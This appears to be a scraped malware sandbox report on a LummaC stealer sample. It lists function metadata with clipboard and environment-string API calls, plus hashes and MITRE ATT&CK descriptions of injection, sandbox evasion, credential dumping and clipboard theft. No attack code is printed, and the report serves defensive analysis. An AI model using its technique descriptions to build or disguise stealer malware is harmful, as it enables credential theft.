Opcode ID: 4b48f8cc760763b0265a78b252602d09e772a935c46e8b5b6444444f1fc5686a
Instruction ID: 5fccddff836dfd10e0cfaa744b7cc1733a6ff4c5afe8f98fc7da63c804189058
Opcode Fuzzy Hash: 4b48f8cc760763b0265a78b252602d09e772a935c46e8b5b6444444f1fc5686a
Instruction Fuzzy Hash: FAF027B5A04141ABD3009B10DC55D273B5CAF89318F00052EF546C3291D634E948C6A6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00430900 Relevance: 9.2, APIs: 6, Instructions: 173clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 00430954
OpenClipboard.USER32 ref: 00430966
GetClipboardData.USER32 ref: 00430985
CloseClipboard.USER32 ref: 00430AE2

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID:
API String ID: 2278096442-0
Opcode ID: a69c7e1d901a0d4c2081cabdb4ed11ca10a583a21a384a73739bc9992a262227
Instruction ID: a9443e5ec8ad88ad5fb58cda93c8071644e34ea24f7c09ef555205e1bca25036
Opcode Fuzzy Hash: a69c7e1d901a0d4c2081cabdb4ed11ca10a583a21a384a73739bc9992a262227
Instruction Fuzzy Hash: 25618FB0504B41DFC720EF38D455616BBF0AB5A320F148B9EE4E687791D338E516CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00431E69 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00431EF9
GetSystemMetrics.USER32 ref: 00431F0A
DeleteObject.GDI32 ref: 00431F69
SelectObject.GDI32 ref: 00431FBA
SelectObject.GDI32 ref: 0043205A
DeleteObject.GDI32 ref: 00432094

Strings

, xrefs: 0043202D

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 7e35951d73e3970acd3c6fc21d66739007c92f45a9e07c8557880cd4cd9f4fa3
Instruction ID: 9f1b4d327249b1a506179ae57a03c0f9c6ecb2e85b3e817332d04f09f688e557
Opcode Fuzzy Hash: 7e35951d73e3970acd3c6fc21d66739007c92f45a9e07c8557880cd4cd9f4fa3
Instruction Fuzzy Hash: 40919AB8604B00DFD350EF29D585A16BBF5FB4A304F11892DE99ACB720D731A848CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00425AB3 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 371COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,EF4FED50), ref: 00425CCA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,EF4FED50), ref: 00425CF6

Strings

XI, xrefs: 00425F1F
TV, xrefs: 00425C05
PO, xrefs: 00425C13
,C, xrefs: 00425C0C

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ,C$PO$TV$XI
API String ID: 237503144-3851939236
Opcode ID: afdc48824dda772d57b4dcaf8d56146cd7a6a96c07d04079f71138aa24af05b4
Instruction ID: 2edb5c040bebb54bda22f48e9496047d815c11a057bb6011e767df69426ac2f4
Opcode Fuzzy Hash: afdc48824dda772d57b4dcaf8d56146cd7a6a96c07d04079f71138aa24af05b4
Instruction Fuzzy Hash: 61E17AB1600B419FD328CF29C855B12BBF2FF89314F658A1DD8AA8B795D735A412CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00425F38 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 269COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00426048
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 00426071

Strings

PO, xrefs: 00425F99
,C, xrefs: 00425F92
TV, xrefs: 00425F8B

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ,C$PO$TV
API String ID: 237503144-4156255010
Opcode ID: 83e54a41e2c22390c93b02cbb948f6d3966084a5db2d4dc23a86e80f80392c1c
Instruction ID: e4f2c1361d42155bf3d124edd0113e6a2eb09e70260605d02098abec58ce1302
Opcode Fuzzy Hash: 83e54a41e2c22390c93b02cbb948f6d3966084a5db2d4dc23a86e80f80392c1c
Instruction Fuzzy Hash: 1EA1AE712002508FEB28CF18C4A5B267BB2FF85314F65866CD9964F78AC779E802CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00422C4E Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

Part of subcall function 0043ABD0: RtlAllocateHeap.NTDLL(?,00000000,00409B41), ref: 0043AC76

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00422D65
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00422E51

Strings

EG, xrefs: 00422CB1
]_, xrefs: 00422CA3
MO, xrefs: 00422CBF

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings$AllocateHeap
String ID: EG$MO$]_
API String ID: 3432729115-4265065164
Opcode ID: 2c2a04ed08531b5886d30d3ccd2689374e84f6134a9c1f7b2cb03225338da177
Instruction ID: f0deb12281205ba510992bf6c90c7c04b5b89d63510e17677ccb7dd26b2c27d6
Opcode Fuzzy Hash: 2c2a04ed08531b5886d30d3ccd2689374e84f6134a9c1f7b2cb03225338da177
Instruction Fuzzy Hash: 4B41CCB02007419FEB24CF15D8C1B13BBA2EB89314F55856CEA9A8F39AD774E841CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00438D70 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 80COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,EBC115ED,00000008,?), ref: 00438E65

Strings

e], xrefs: 00438D84
ZW, xrefs: 00438D8C
Q$, xrefs: 00438D94

Memory Dump Source

Source File: 00000001.00000002.1717440245.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Q$$ZW$e]
API String ID: 237503144-3942648693
Opcode ID: 50995215b03765e548988e04a4b7dc191cc8cdce79bcd63cfd70526984e642db
Instruction ID: 3c55468a15592e8554454fd0c76733ac633b8ff09b4ac01f15667112554269ff
Opcode Fuzzy Hash: 50995215b03765e548988e04a4b7dc191cc8cdce79bcd63cfd70526984e642db
Instruction Fuzzy Hash: 1E216B755183919BD308CF14C894B1FB7F4FB86348F14092DF9A69B280D775DE068B96

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 003A1C8B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 003920A7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
memorysynchronizationthreadCOMMON

Function 003A5C5B Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Function 003944BB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Function 003A2125 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Function 0039F248 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 003A7DDD Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 003A79E1 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Function 003A1D56 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Function 003A228D Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre